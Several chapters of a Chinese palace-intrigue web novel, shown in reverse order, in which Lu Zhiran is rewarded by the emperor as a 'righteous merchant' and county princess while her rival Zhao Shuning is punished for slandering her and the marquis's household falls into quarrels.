大家纷纷拿出家中最好的东西,鸡蛋,青菜,腊肉,活鸡活鸭,送到陆家商行门口,表达自己的愧疚和谢意。 谭旭文出面安抚众人,总算把人驱散了,但他们的东西却不肯拿走。 之后每一日,商行门口都会有人送上东西表达谢意,商行的生意较之以往也更好了。 本该迎来送往的日子,宣平侯府却是门可罗雀。 府内一片萧条,下人们一个个屏气凝神,不敢大声说话。 赵书宁在府里的待遇一落千丈,厨房送来的饭食清汤寡水,半点油腥子都没有。 这也就算了,好歹能填饱肚子。 这日碧莹去库房取炭,却是空手而归。 她气得直抹泪,“太欺负人了,您以往得势时,他们一个个谁不巴结着您?现在您才刚失势,就都踩上来了。” 赵书宁神情蔫蔫地窝在床上,一动不动。 闻言,她嘲讽地扯了扯唇角,“风水轮流转,不过如此。” 当初,陆知苒也经历过这些。 彼时她洋洋得意,不想报应来得这般快。 她拿出银子交给碧莹,“去外头买些木炭吧。” 炭价控制了下来,不愁买不起。 晚上天气冷得透骨,没有炭根本不行。 下午,碧莹买回来了一大筐炭,还带回来了一个消息。 “夫人,奴婢在街上遇到聂管事了。” 赵书宁一时没想起来,“哪个聂管事?” 碧莹压低了声音,“就是在西平的时候,与咱们合作的李老板手底下那位聂管事。” 赵书宁立马坐直了身子,眼神中也带上几分紧张与警惕。 “他来京城做什么?” 当初,西平大旱,又诱发蝗灾,城中粮价、药价飞涨,她和一名李姓老板合作,赚了一笔不菲的银子。 原本他们还能再多赚一些,但太仓商行突然冒了出来,免费捐粮捐药,李老板手里的粮食和药材一下卖不出高价了。 赵书宁当机立断,将此次赚取的银钱尽数退还,唯恐因此毁了好不容易挣来的功劳。 李老板倒也识时务,拿了银子就识趣地没再出现,赵书宁都快忘了这号人。 “他是专程来找您的。夫人,西平出事了。” 赵书宁心头微紧。 难道此前那桩事被查出来了? 她才是真正的囤积居奇,若此时这桩旧事被抖出来,她怕是连诰命之身也要保不住了。 碧莹压低声音,紧张地开口,“最近西平百姓之中突然发了一种古怪的病,病患大多有心悸,气喘,乏力的病症,大夫诊不出所以然来,但病患却不少,严重的,还有人丧命了。李老板怀疑,此事怕是与您当初开的药方有些关系。” 赵书宁闻言,表情一下放松下来。 “我当是什么事,真是大惊小怪。心悸气喘乏力这些病症本就常见,如何就能与我的药方扯上干系?我的方子救了那么多人,不可能有问题。” 她的语气笃定,碧莹也总算松了口气。 若真是药方出了问题,那后果可就严重了。 赵书宁:“你去跟聂管事把事情说清楚。还有,以后没事不要再来找我。” 当初她把银子交还回去之时便说好了,彼此就当不认识。 若让人知道她当初与商人勾结,囤积居奇,她想再找机会翻身就难了。 碧莹立马去了。 几乎同时,陆知苒也收到了一封来自西平的信。 读罢,陆知苒的面上笼上了一层寒霜。 果然还是如前世那般,那种古怪的病症已经在西平悄然酝酿。 前世,她疲于应对内宅之事,底下人给她呈报了此事,她未曾放在心上。 后来,病症爆发,羌笛趁虚而入,再度侵犯大齐疆土,朝廷派了楚翊安和赵书宁同去,镇压羌笛,治理疫病。 那场大战中,楚翊安率军将羌笛赶出了大齐边境,赵书宁也顺利将古怪疫病平复,二人再次斩获头功,风头大盛。 后来,她无意中听到楚翊安和赵书宁的争执,这才发现这场大胜其实另有玄机…… 收回思绪,陆知苒问,“钱叔那头可有消息传来?” “正欲向您回禀呢,钱管事也来信了,您所需的药材已采买齐全,现在已经在往西平方向送去了。” 第81章 谁稀罕占她的便宜 姜氏气得手都在抖,“你犯下此等大错,你还有理了?” “我就算犯下大错,也轮不到她这个对侯府毫无贡献的蠢货在这指手画脚。” 楚云清被她骂得脸都绿了,冲上来就想厮打她。 楚定峰怒喝,“闹够了没有?都给我闭嘴!” 楚云清满脸委屈,“父亲,您看她,简直反了天了,您可要替女儿做主啊!” 楚定峰额角青筋突突直跳,烦躁达到了顶峰,“你给我闭嘴,滚回你院子去!” 楚云清被吼得眼眶都红了,跺跺脚,一转身哭着跑了。 姜氏气结,“老爷,你怎么也偏帮这个搅家精?” “事已至此还能如何?再把她休了,好叫全京城的人都看我们侯府的笑话,看安儿的笑话吗?” 姜氏梗了梗,说不出话来。 楚翊安一直沉默着,表情木然,不知在想什么。 他这般不言不语,心灰意冷的模样,叫赵书宁心头升起一股微微的愧疚。 他在御前未曾把自己供出来,而是把责任都揽于己身。 这次,是自己牵连了他。 赵书宁终于收起了浑身的刺,放低了姿态。 “翊安,这次之事,是我的过错。” 楚翊安唇角勾起一抹嘲讽,“你自诩行事周全,算无遗策,所有人都能被你玩弄于鼓掌之中,你怎会有错?” 赵书宁面色微僵。 “我知道你在怪我,可我做这些是为了谁?陆知苒背刺侯府,对你背信弃义,我不过是想替你出这口恶气罢了。” 楚翊安压根不吃她这一套,“你究竟为了什么,自己心里最清楚,别把自己撇得那么干净。” 赵书宁有些羞恼,是,她是私心想要给陆知苒一个教训,看不惯她一副高高在上的姿态,好像不把所有人放在眼里。 她不是觉得自己很厉害吗,那就让她狠狠栽个跟头! 若非陆知苒一开始就蓄意隐瞒自己的身份,她根本不会失策! 赵书宁深吸一口气,“我已经受到了责罚,而且我根本没想到她竟然藏得这么深!翊安,你能想到吗?她竟是太仓商行的东家!她早就立下了大功,却一直瞒得死死的连你都没有透露半个字,她早就与你离了心,半点没把你当做夫君!” 楚翊安本想说她是自作自受,可她后面的话,却像是一把刀子,狠狠剜在楚翊安心口。 袖中的拳头瞬间紧握成拳,一股恼恨浮上心头。 是,陆知苒分明有这么多机会可以向自己坦白,她却半个字都不曾透露! 从一开始,她就在防备自己。 既然如此,她又有什么理由要求自己对她一心一意?又有什么立场指责自己娶书宁为平妻? 赵书宁幽幽道:“她把自己的秘密藏得这么严实,就是怕侯府像狗皮膏药一样粘着她,占她便宜。” 姜氏重重“呸”了一声,“陆氏那个贱人,她多大的脸,谁稀罕占她的便宜!真以为自己有几个臭钱,立了一点功劳就了不起了?没了她,侯府照样转!亏得我还将她视若亲女,待她掏心掏肺,可她竟处处像防贼一样防着我!实在可恨!” 她明明富可敌国,却连给清儿买一副头面都不肯,还揪着铺子那点蝇头小利不放,非要侯府把银子补上,便是府里那些值钱的好物件,也被她搬空了。 想到此番种种,姜氏的心肝脾肺肾都跟着疼起来了,她骂得也越发难听,污言秽语,堪比泼妇骂街。 没人阻拦她。 他们都自诩身份,不好把不堪入耳的话挂在嘴边,姜氏替他们全都骂了出来。 赵书宁看着楚翊安,语气笃定,“翊安,我思来想去,总觉得事情不简单。若我猜测没错的话,此事只怕一开始就是个圈套,她精心作好了局,就等着我往里钻,好在今日给侯府致命一击!” 楚翊安神色一震。 赵书宁越想越觉得自己的推测有道理。 “你有没有发现,瑾王一直在帮她?从当初宣读和离圣旨开始就有了苗头。今夜,瑾王也一再为太仓商行请功;这桩案子更是瑾王在皇上面前揭发出来。只怕,陆知苒早就上了瑾王的船,所以,瑾王才一直在帮她对付咱们侯府。” “你说,他们是从什么时候开始设计对付我们侯府的?是你要娶我为平妻之后?还是……” 还是在那之前,在楚翊安得胜归来之前! 赵书宁没有说出后面那句,但楚翊安却想到了。 他想到了在西平边境时,一直有帮忙给他送货的石管事。 那时她就作为太仓商行的东家给西平百姓和将士送去救人的药材和粮草补给。 明明是天大的功劳,太仓商行上上下下却瞒得严严实实。 尤记得前不久,在收容所,他还与石管事碰过面,他诚恳求见东家,石管事却一再糊弄,只怕心中不知怎么笑话自己! 瑾王当时也表现得反常又古怪,而今一切都说得通了。 他那番表现,分明是早就知道了陆知苒的身份,他们二人的勾结往来远比自己所以为的要早得多! 好个陆知苒! 她对西平战役有大功,却丝毫没有跟他提及过。 他只是想要娶个平妻,她却百般摆脸色,还向皇上求了和离圣旨,丝毫不顾及他的脸面。 她是真的在意自己娶平妻,还是只想顺势和离,好另攀高枝? 楚翊安神色一点点笼上阴霾。 赵书宁见自己说对了,又状似无意地道:“其实要上瑾王的船,拉着侯府岂不是更好,那会咱们还没有投向六皇子,但她却一副要跟你撇清关系的模样,独自与瑾王‘交好’,难道……” 楚翊安脸色一变,拳头握得咯咯作响,胸腔中的怒意横冲直撞,几乎将他点燃。 “陆氏一介弃妇,就算如今得了皇上青睐,成了县主,又怎配高攀亲王!” 他语气里的冷意和鄙夷不加掩饰,只有将她贬到尘埃里,才能让他出了这口心头恶气。 赵书宁嘴角一扬,“她确实不配,但现下,他们交好是无疑的。不管瑾王是否需要陆知苒的帮忙,他要为陆知苒撑腰都是再明显不过的事情。” 姜氏吓蒙了,“瑾王可不是什么善茬,侯府岂是他的对手?” 楚翊安眸色幽深,“瑾王不可能继承大统,六皇子才是众人拥护的最佳人选。她此时风光,殊不知,自己走的其实是一步臭棋!” 第80章 怕就怕她太有本事了 赵书宁如坠冰窟。 皇上亲封的女医身份,是她引以为傲的资本,也是她往上爬的梯子。 现在,这把梯子被收了回去,她陡然从高处坠落。 那种曾经得到又失去的打击和绝望,足以将她击垮。 赵书宁一直挺直的背脊彻底垮掉,整个人瘫软在地。 “赵氏,若你再犯,朕便将褫夺你的诰命之身,你可听清楚了?” 充满威慑力的敲打,令赵书宁的身子狠狠打了个冷战,额头深深叩地,尾音颤抖,“是。” 这一刻,对皇权的敬畏,和对陆知苒的恨意,攀到了顶峰。 德丰帝眸光一转,落在楚翊安的身上。 “楚爱卿现任何职?” 楚翊安心弦紧绷,战战兢兢地回话,“回皇上,微臣现任军屯卫所步军统领。” 德丰帝语气幽幽,“一室之不治,何以天下家国为?楚爱卿连家务事都处理不好,又如何担得起步军统领一职?念在你还有点担当,小惩大诫,便先到城外护城军中,好好磨练一番心性吧。” 楚翊安袖中的手瞬间紧握成拳。 小惩大诫?皇上分明是在替陆知苒出气。 多少人终其一生都没法从小兵卒爬到统领之职,他这次摔了个大跟头,这辈子,还能再爬起来吗? 楚翊安声音如一片死水,无一丝波澜。 “臣,谢主隆恩!” 一场波澜起伏的除夕宴终于结束。 走在出宫的路上,陆知苒的身旁围满了人,都是以往她结交不上的高门贵女,陆映溪这个亲妹妹反倒被挤在了外围。 看着众星拱月的人,陆映溪双眸几乎要喷出火来。 陆贯轩那头也是同样的盛况,以往对他爱答不理的同僚,现在都变得亲和起来。 吏部尚书邢世杰一脸感慨地赞叹,“陆大人当真是养了个好女儿啊,此前是本官狭隘,错看了陆大人。” 听得这番话,陆贯轩的嘴角都快笑歪了。 可不是嘛,他可真是养了个好女儿啊! 回到陆府,陆贯轩一反常态地对陆知苒嘘寒问暖,亲热极了。 方氏和陆映溪酸得冒泡,陆知苒也起了一身鸡皮疙瘩。 赶紧打断他的自我感动,“父亲,天色不早了,您早点回去休息吧。” 说完,她掩唇打了一个大大的哈欠。 陆贯轩十分有眼力见,“好好好,你也困了,早点休息。” 陆知苒转身离开。 今日赵书宁和楚翊安虽然栽了个大跟头,但陆知苒知晓,这不过是暂时的,他们总能找到机会重新翻身。 但没关系,她不怕他们翻身,就怕他们不抢风头。 她会亲手,将他们的机会,一个一个,摧毁! 目送她的背影,陆贯轩眼底满含骄傲。 “苒姐儿不愧是嫡长女,行事颇有我的风范,真是好样的。” 一直跟在他们身后,沉默不语的陆君成微妙地抬头看了父亲一眼,又低下头,继续当隐形人。 陆贯轩又幽幽叹息,“只可惜,她是女儿身,若是男儿身的话……” 若她是男儿身,陆家就后继有人了。 目光一转,陆贯轩看向陆君成。 见他那副闷不吭声怂样,心里就来气。 “君成,你该好好向你大姐姐学习,你若有她一半的魄力,为父就心满意足了。” 陆君成的头埋得更低,讷讷应是。 方氏的火气蹭地冒了出来,“苒姐儿的确有本事,怕就怕她太有本事了。太仓商行囤炭建收容所这么大的事,她自己闷不吭声就办了。她瞒着妾身也就罢了,毕竟我们隔着一层,但老爷可是她的亲生父亲,她对您也藏着掖着,岂不是不把您放在眼里?” 陆贯轩面色一僵。 此事也是他心里的一个疙瘩,只是被他刻意忽略了。 此时方氏故意挑起,陆贯轩心头一阵气闷。 “这回苒姐儿立下如此大功,她倒是又得了御赐牌匾,又获封了县主之位,但老爷您,可是什么恩赏都没捞到呢。” 原本陆贯轩还为此沾沾自喜,觉得自己面上有光,现在被方氏这么一挑拨,心中欢喜立马打了大折扣。 方氏幽幽叹气,“若是苒姐儿与老爷离了心,那她再有本事,于老爷也没太大相干啊。” 陆贯轩沉声,“你少说两句,苒姐儿不是这样的人!” 说完,他便恼怒地甩袖而去。 看着陆贯轩的背影,方氏总算出了一口恶气。 个小蹄子,真以为自己能翻天了? 哪怕她是县主,在这陆家,她也越不过孝悌二字。 陆君成看了母亲一眼,抿了抿唇,低声道:“母亲,儿子先告退了,您也早点休息。” 方氏的表情一厉,“你个没出息的,我还睡得着?你若不好好读书,考取功名,连陆家的家业都守不住!今晚不准睡,回去把课文再温读一遍!” 陆君成身子微微瑟缩,脑袋垂得更低了。 低低应了声“是”,他缓慢地往自己的院子走去,背影单薄,分外萧瑟孤寂。 陆映溪一直有些魂不守舍,今夜她瞧见了那高大英武的男子,目光便没从他身上挪开过。 她在看他,而他却在看另一个人,眸光灼热,带着滚烫的温度。 陆映溪的心像被扔进了热锅中炸了一遍又一遍,难熬极了。 陆知苒怎么不去死?她若死了,就没人能挡她的道! …… 这厢,宣平侯府众人一路沉默,气压沉得几乎叫人喘不过气来。 回到宣平侯府,关上门,这股被强压的愤怒终于爆发。 姜氏双目喷火,“你看看你做的好事!安儿被你牵连成什么样了?原本安儿应该有一个大好的前程,现在全被你毁了,你这个扫把星!” 楚云清也充满怨怼地看着她,“哥哥,你把她休了!她就是个祸害,继续留在侯府,定会连累侯府家宅不宁。” 把她休了,再把陆知苒娶回来,到时候,她就又能有花不完的银子了。 赵书宁扫向她,眼神阴鸷,楚云清打了个哆嗦。 “你,你那么看着我做什么?我又没有说错什么!” “你身上还戴着我送的首饰,穿着我送的衣裳,却好意思这么理直气壮地说出这番话?” 在御前,也是她第一个站出来揭穿自己! 自己的那些银子,真是白白喂了狗了。 这对母女贪婪又不要脸的嘴脸简直一模一样。 可恨当初猪油蒙了心,才被她们哄得团团转! 第79章 给六皇子上眼药 姜氏的心经历了烈火烹油般的煎熬。 今夜发生的每一桩事都狠狠冲击着她的内心。 陆知苒怎么会是太仓商行的东家?她为什么不早说! 她分明就是故意的,故意看侯府的笑话,更要把侯府置于死地! 不,她不会得逞的! 皇上不会为了她就对侯府怎么样,最多,就只是牺牲一个赵书宁罢了! 谁料,楚翊安竟出声呵斥楚云清。 “云清,定是你听错了!书宁怎会做出这样的事?” 楚云清还欲反驳,被他一记严厉的目光扫过,身子一个哆嗦,愣是不敢开口了。 楚翊安重重叩头,声音沉痛。 “皇上,此事另有误会,是微臣没有约束好下人,才叫下人打着侯府的旗号擅作主张,做出污蔑功臣的混账事,千错万错,都是微臣的错,请皇上降罪!” 楚翊安也恼赵书宁,但也知道此刻不是推她出去顶罪的时候。 一是她是他的妻,他理应护着她;二是赵书宁与侯府是一体的,不仅是他的妻,还是皇上给的赐婚,她做了错事,不就是在打皇上的脸吗!到时候侯府也难逃干系! 楚定峰也回过神来,跟着开口。 “皇上,此事是微臣治家不严,这才酿下大错,损了平乐县主的声名,微臣罪该万死!” 家宅出了问题,他们可以关起门来处理。但在外面,他们不能互相攀咬,叫人看了笑话! 尤其是在圣上面前,推一个女人出去顶罪简单,这件事情本也是赵书宁的错,但外人会怎么想呢?只怕会觉得他们侯府自私狭隘上不得台面,侯府的脸面还要不要了? 况且赵书宁是有真本事在身的,他们已经失去了陆知苒,断不可再失去一臂膀。 德丰帝看着他们,眼神却晦暗不明。 “你们各有各的说辞,倒是把朕弄糊涂了。小七,你都查到了些什么?” 萧晏辞语气幽幽,“父皇,您自己看看便是。他们空口白话的都不可信,儿臣这都是实打实的证据,可不是谁想抵赖就能赖得掉的。” 此言一出,楚翊安和楚定峰脸色一白,赵书宁的手心也一下渗出冷汗来。 德丰帝拿着呈递上来的证据,没有马上翻开,目光不轻不重地落在赵书宁的身上。 “赵医女,你可有什么话要说?” 沉沉的威严袭来,终于压垮了赵书宁心头最后一丝侥幸。 要么自己承认,要么,被当众揭穿。 除此之外,别无他路。 赵书宁颤着声音开了口,“此事,是臣妇所为,臣妇有罪!” 众人一阵哗然。 楚云清挺直了腰杆,瞬间有种扬眉吐气的感觉。 她方才就说了,是赵书宁干的,偏偏没人信她! 德丰帝声音冷若冰霜,“你好大的胆子!” 赵书宁深深叩首,“近些时日,臣妇一直在收容所当差,亲眼见到了灾民们的惨状,对他们生了恻隐之心。后来,臣妇又听说陆家囤了木炭却不曾出售,也不曾捐赠,先入为主之下便有了误解。加之……臣妇与平乐县主的一些私怨,这才生了小人之心。” “今夜臣妇方知,自己一错再错,实在错得离谱,平乐县主心怀百姓,胸襟开阔,所行所做远非臣妇能比。在她面前,臣妇那点微末之功简直一文不值,臣妇为自己此前的所作所为感到无地自容!这桩糊涂事是臣妇所为,臣妇愿意领受任何惩罚,绝无二话!” 萧宝珠“切”了一声,“话倒是说得漂亮,实际上只怕没几分真心,若不然,方才怎么没有第一时间站出来承认?” 她本是小声吐槽,但周遭太过安静,她的声音清晰地落入众人的耳中。 孙皇后朝她投去一记眼神,萧宝珠立马像鹌鹑似的缩着脑袋闭嘴了。 赵书宁的表情僵住,正待开口找补,萧晏辞却抢了先。 “赵医女,照你方才所言,此事全是你一人所为,且盖因私怨而起?” “是。” 萧晏辞挑眉,“本王查到前些时日有神秘访客于漏夜之时进出侯府,此事与那人可有关系?” 此言一出,楚翊安和赵书宁的神情俱是一震。 她飞快否定,“与那人无关。” 否定完才懊恼地咬住了唇。 萧晏辞长长地“哦”了一声,“看来侯府果真有神秘访客啊。据本王调查,那人离开侯府之后就往蓥华街的方向去了,敢问那人是何人?” 萧晏清背脊微僵。 蓥华街上只有一座府邸,那便是他的六皇子府! 德丰帝眼神幽幽,在几人的面上扫过。 萧晏清有些沉不住气,“小七,你这话是什么意思?难道怀疑此事与六皇子府有关?” “六皇兄你急什么?我何时提过六皇子府半个字?” 萧晏清眸光沉沉,“谁人不知蓥华街上就只有我的六皇子府,你这话跟指名道姓地点我有什么区别?” “六皇兄,你是不是太敏感了?不知道的还以为你当真与此事有关呢。” “你……” 萧晏清被他的阴阳怪气噎得半死,又不知如何解释。 陆知苒低垂着头,掩去唇角那抹淡笑。 七皇子果真是妙人,他这番话,不管真假,都在皇上面前给六皇子上了一番眼药。 德丰帝沉声开口打断他们,“好了,现在不是听你们拌嘴的时候。” 他眸光一转,看向陆知苒,语气和缓了几分。 “平乐县主,此事你受了委屈,想要如何出气,尽管说来。” 陆知苒诚惶诚恐地道:“赵医女乃朝中难得一见的女神医,于大齐而言是不可多得的人才。臣女与赵医女之间乃是私怨,万不能因为一己之私就让大齐失去一个可用之才。更何况,臣女在这件事中并未受到半点损伤,谈不上委屈。” 陆知苒知道,越是上位者,越是不喜欢被旁人做决定。 至少,她还没有这个资格。 这招以退为进,反而能让德丰帝严惩赵书宁弥补她。 果然,德丰帝沉声开口,“正所谓再一再二不再三,这已经不是赵医女第一次犯糊涂。上次她枉顾医德污蔑你身怀有孕,险些害你声名尽毁。这次,她又在背后使阴招,置你于不忠不义之地,如此品性不堪之人,便是有再高的医术,朕也不敢再用。” “赵氏品行不端,不堪大用,念其于收容所立下功劳,朕便从轻发落。即日起,免其女医身份,以儆效尤。” 第78章 帝王之怒 这番话,不像是帝王对臣下的评价,反而像是长辈对晚辈的叮咛,这让众人再次意识到,德丰帝对陆知苒这个年轻后辈的欣赏。 对她,对陆家,大家都生出了新的审视。 陆贯轩激动得手都在抖。 从今以后,他们陆家就是出过县主的人家了!而他,是县主的爹! 今年他不升迁都说不过去! 方氏和陆映溪母女嫉妒眼睛都红了。 这个小贱人,怎么这般有能耐! 这泼天的富贵要是她们的,那该多好! 萧晏辞十分不见外地主动讨赏,“父皇,儿臣呢?您打算给儿臣赏些什么?” 德丰帝伸手点他,“你可真不客气。” “这短短半个月,儿臣在外头吹风受冻的,不仅瘦了,脸也糙了,手上还起了冻疮,您怎么着也得好生补偿儿臣,不然这些苦岂不是白受了?” 萧晏辞卖惨邀功,德丰帝神色间也多了几分心疼。 孙皇后掩唇轻咳两声,缓缓开口,“皇上,小七年纪不小了,也差不多到了该受封的时候。” 此言一出,众人皆愣住。 德丰帝没有反驳,露出沉思之色。 萧晏清险些失态。 父皇待他们兄弟几人素来一视同仁,几位皇兄都是娶了王妃之后才获封亲王,萧晏辞凭什么例外? 他若获封亲王,自己和五皇兄要如何自处? 萧晏清目光逡巡,却没瞧见五皇兄的人影。 那病秧子,指定又躲在哪个地方猫着去了。 李贵妃稳住心神开口,“小七前头还有小五和小六尚未册封,如此是否不妥?” 孙皇后又咳了两声,宫人立马将披风给她捂严实了几分。 “小七命格特殊,寻常赏赐于他而言并无益处,自然只能在其他方面以表恩泽。本宫也只是提议,一切自当由皇上决断。” 德丰帝点头,“皇后所言有理。既要论功行赏,自然要赏到实处,不然岂非形同虚设?若日后小五小六也能立下奇功,朕也同样不会吝惜恩赏。” 李贵妃深知大势已去,再多说反倒会惹了皇上不快。 朝萧晏清投去一记安抚的眼神,母子二人俱是垂头,忍下了这口气。 “七皇子于此次雪灾中,舍弃私利,主动捐炭捐衣,朕心甚慰;又肩负收容所治安维系之责,与百姓同吃同住,以身作则,代朕以安民心,劳苦功高也。今敕封瑾王,望尔继续正己守道,切莫居功止步。” 萧晏辞朗声叩谢,“儿臣多谢父皇隆恩,儿臣定谨记父皇教训,克己复礼,奉公正己,不辜负父皇期望。” 德丰帝笑着叫起,“今日时间不早了……” “父皇,儿臣还有一桩事尚未回禀。” 德丰帝已然有些困倦,摆摆手,“有事明日再禀。” “此事与平乐县主有些关系,正好她人在此处,还是当面说更好。” 德丰帝狐疑地看向陆知苒,陆知苒亦是满脸困惑。 “快说,别耽搁大家的时间。” “前些时日,有人谣传平乐县主居心叵测,囤积居奇,父皇您发了雷霆之怒,委派儿臣彻查此事,现下,儿臣倒是有了调查结果。此事果然有人在背后推波助澜,对方心怀叵测,蓄意构陷功臣,自当严惩,以儆效尤。” 此时的确是揭穿此事的最佳时机。 但陆知苒今日是来接赏赐的,自然不能自己开口,她本来有其他的法子,但没想到七皇子竟然直接捅给了皇上。 且,皇上竟然早就下旨彻查了! 赵书宁和楚翊安瞬间变了神色。 德丰帝的眸色一深,周身气场都冷沉几分。 “是何人所为?” “据儿臣调查,此事与宣平侯府脱不开干系。” 楚定峰“扑通”一声就跪了下去,其余侯府众人也慌忙跟着跪下。 “冤枉,皇上,微臣冤枉啊!微臣敢以项上人头担保,绝对没有做过此事!” 楚定峰本还处在痛失泼天富贵的机会的难受中,谁知一口锅接着又砸了下来。 萧晏辞甩了甩手中的册子,“此乃本王查到的证据,闹事之人的名单,口供,都一一记录在册,宣平侯要不要自己看看?” 楚定峰后背迅速被冷汗打湿。 楚翊安也从陆知苒就是太仓商行东家的事情中回过神来,闻言瞥向赵书宁,脸色也跟着变了。 都是这个蠢女人干的好事! “这,七,瑾王,此事莫不是有什么误解?微臣与平乐县主到底曾是一家人,一直把她当成亲生女儿一般看待,怎会用这等卑劣手段去对付她?” 陆知苒心头一阵恶寒。 萧晏辞淡淡道:“你没做过,旁人可不一定了。侯爷不妨先问问你的府中人。” 这话让楚定峰猛地一惊,转头看向跪在一侧的儿子,对上对方微微闪躲的目光,他心头一阵发凉。 德丰帝周身的气压低得可怕。 在他的眼皮子底下,他们竟敢如此肆意妄为,陷害忠良,还有什么是他们不敢做的? “说,到底是怎么一回事?” 帝王的雷霆之怒,并非一般人所能承受。 楚翊安转头看向赵书宁,眼底怒意汹涌。 若非她自作主张,怎会酿成这般恶果? 只恨自己当初没有及时阻拦她,也没有第一时间善后此事。 赵书宁一动不动,似失了魂。 她刚刚才得了李贵妃的青眼,只要日后好好表现,定能受到重用,她于侯府的未来,才是最有用的人。 若这桩事落在她的身上,一切都完了。 她不能承认,万一他们没有确切的把柄…… 令人窒息的沉默在空气中蔓延,来自上首之人的威压也越来越重。 “朕现在愿意给你们机会主动交代,若你们不好好珍惜,那就不要怪朕手下无情!” 这时,一道带着哭腔的声音响起。 “皇上,是她,是她做的!” 楚云清伸手指着赵书宁,身子阵阵发颤。 楚定峰怒斥,“清儿,休要胡言!” “我没有胡说,是我亲耳听到的,她吩咐贴身丫鬟碧莹去做了这件事,我都听到了。” 楚云清怕被德丰帝发落,更怕失去现在的侯府小姐的身份,她什么都顾不上了。 这件事本就是赵书宁做的,自己把她供出来,又有什么错? 弃车保帅方为正道。 楚定峰难以置信地看着赵书宁。 本以为她是个有本事的,能为侯府挣来荣耀,不曾想这个蠢妇竟连出昏招,这是要把他们害死啊! 为了这么个玩意儿,他们竟然把真正的福星逼走了,简直是捡了芝麻丢了西瓜,悔之晚矣! 第77章 陆知苒领赏 德丰帝的语气越发温和,如同对待后辈。 “你不必如此自谦,若非有你带头搭建收容所,捐赠炭火和冬衣,朕便是拨款安排,也供不起这么多百姓的御寒问题。你居功甚伟,当居首功。” 陆知苒语气郑重,“臣女惶恐,臣女不过是提供了一些银钱和物资罢了,但真正让民心安定,让人心凝聚的,是皇上您。” “您第一时间派了七皇子坐镇收容所,与百姓们同吃同住,又派人到偏远的村落搜寻,不放弃任何一个百姓。” “您是大齐朝的明君,心怀百姓,才能做到如此地步。此次赈灾之所以能如此顺利,皇上您才是最大的功臣。” 言罢,她虔诚叩首,声音更加高亢激昂,“民心所向,忧之念之;民康物阜,盼之行之。得此明主,实乃大齐之幸,万民之幸也!” 德丰帝愣在原地,一时竟有些失态。 萧晏辞率先跟着跪下高呼:“皇上真乃举世明君,真乃大齐之幸也!” 其余人如梦初醒,也纷纷跪下,群情激昂的高呼传出老远,震起树上的群鸟,似是无声应和。 德丰帝激动得满面红光,即便知道这是马屁,但也没人能把马屁拍得这般响亮,这般叫他心情愉悦啊。 他朗声大笑,“好好好,众卿平身,朕能得众卿这般英才,亦是朕之幸,是大齐之幸!” 本以为这就完了,没想到陆知苒还有后招,“臣女冒昧,还给皇上带来了一份贺礼,还请皇上笑纳。” 德丰帝此时心情正好,兴致也十分高昂。 “哦?是什么贺礼?” 陆知苒正色,“其实这也不算是臣女准备的,臣女只不过是代为转交。请皇上容臣女先卖个关子,很快您就知道了。” 德丰帝的兴趣被勾了起来,众臣们亦升起深深的好奇。 萧晏辞笑看着陆知苒,对方回头,也朝他看来。 四目相对,这一眼,是只有他们才懂的默契。 她的眼睛很亮,明明没有在笑,里面却似盛满璀璨星河,萧晏辞的心没来由地漏跳一拍。 宫人把那红木大箱子抬了来,德丰帝看着这偌大的箱子,眼底兴味更浓。 “朕倒是要看看,你今日卖的是什么关子。来人,把这箱子打开。” 箱子缓缓打开,众人都下意识伸长了脖子往里瞧。 第一眼,平平无奇。 宫人将那卷画轴小心拿出,缓缓打开,众人看清上面的内容,面上的神色这才变了。 这竟是一封万民书。 一个个歪歪扭扭的名字,一个个或大或小的手印,一句句或长或短,虽然粗陋稚嫩却质朴真诚的话语……如同巨浪,在众人心头掀起波澜。 德丰帝一字字往下看,原本深沉的眼眸忽而浮起些湿润之色。 这一瞬间,他升起一股冲动,想要亲自去收容所里瞧一瞧,看一看,看看他的子民们。 陆知苒缓声开口,“皇上为百姓们做的,他们都看在眼里,记在心里,他们身无长物,大多数人都目不识丁,更写不出漂亮的文章,这便是他们对圣恩最赤诚的感激。臣女借花献佛,敬献这份新年贺礼,希望皇上喜欢。” 德丰帝压下了心头情绪,“好好好,朕喜欢,朕甚是喜欢!传朕旨意,收容所上下所有人,每人赏五两,从朕的私库里出。另外,凡是受灾地的百姓,明年的赋税减半!” 那些都是他的子民,他们将他奉若神明,他便也想尽可能地多多回报他们,至少,不能辜负了这卷厚重的万民书。 五两,对于勋贵人家来说不值一提,但对于普通百姓而言,却是一笔不菲的数额,甚至足以支撑一户人家大半年的开销,赋税减半则更是莫大的恩典! 陆知苒脸上绽出灿烂的笑,“皇上英明,臣女替百姓们叩谢皇上隆恩。” 德丰帝含笑看着她,“陆氏,你很不错,接连替朕分忧。朕从不亏待功臣,说说吧,你想要什么赏赐?” 陆知苒尚未开口,萧晏辞就从旁插科打诨,“父皇,您这般问她,她自然不敢说实话。您私库里那么多好东西,随便许出去一些都能当传家宝了,您可别小气啊。” 德丰帝没好气地剜了他一眼,“你以为人人都是你,满脑子只想着金银珠宝。” 陆知苒是缺银子的主儿吗?自己既然要封赏,自然要赏到人心坎上。金银珠宝要赏,但也只能是锦上添花,不能光赏这个。 沉吟片刻,德丰帝开口吩咐,“传笔墨。” 很快,就有宫人抬来了桌椅,铺上了笔墨纸砚,还有数人从旁提着灯笼照明。 德丰帝拿起笔,潇洒挥墨,写下了“义商”两个大字。 “太仓商行屡立奇功,更有济世之心,于朝廷危难之际舍利取义,堪当商贾之楷模,特封‘义商’之衔,凡你名下商行,皆可挂此牌匾。望你能坚守本心,不负‘义商’二字。” 陆知苒看着那苍劲有力的两个大字,心头闪过巨大的惊喜。 义商! 这两个字轻飘飘的,但其分量却远不是普通金银财宝所能比拟的! 自古商贾地位低下,多少人都将商贾视作奸商,而今,德丰帝亲自赐下“义商”二字,这俨然是莫大的认可! 只要他们光明正大经商,不偷不抢,不坑蒙拐骗,迟早会扭转世人对商贾的偏见。 正准备领旨谢恩,德丰帝又继续开口,“另,陆氏高风峻节,胸怀大义,特封二品平乐县主,享百户食邑,赐宅一座。” 陆知苒再次愣在原地。 以陆家的家世,她根本不可能被封为县主。 但这一切却是真实发生了。 这是皇上给她的莫大殊荣! 前世,她对楚翊安为赵书宁请封诰命一事耿耿于怀,赵书宁亦一直以诰命之身压她。 这一世,她终于也有了身份,这不是旁人施舍给她,是她自己挣来的。 陆知苒的眼眸中有璀璨的光芒闪烁,她的背脊也愈发挺直。 “臣女叩谢隆恩!” 声音响亮清脆,尾梢带着不加掩饰的欢喜雀跃。 被她的反应大大取悦,德丰帝脸上也露出笑来。 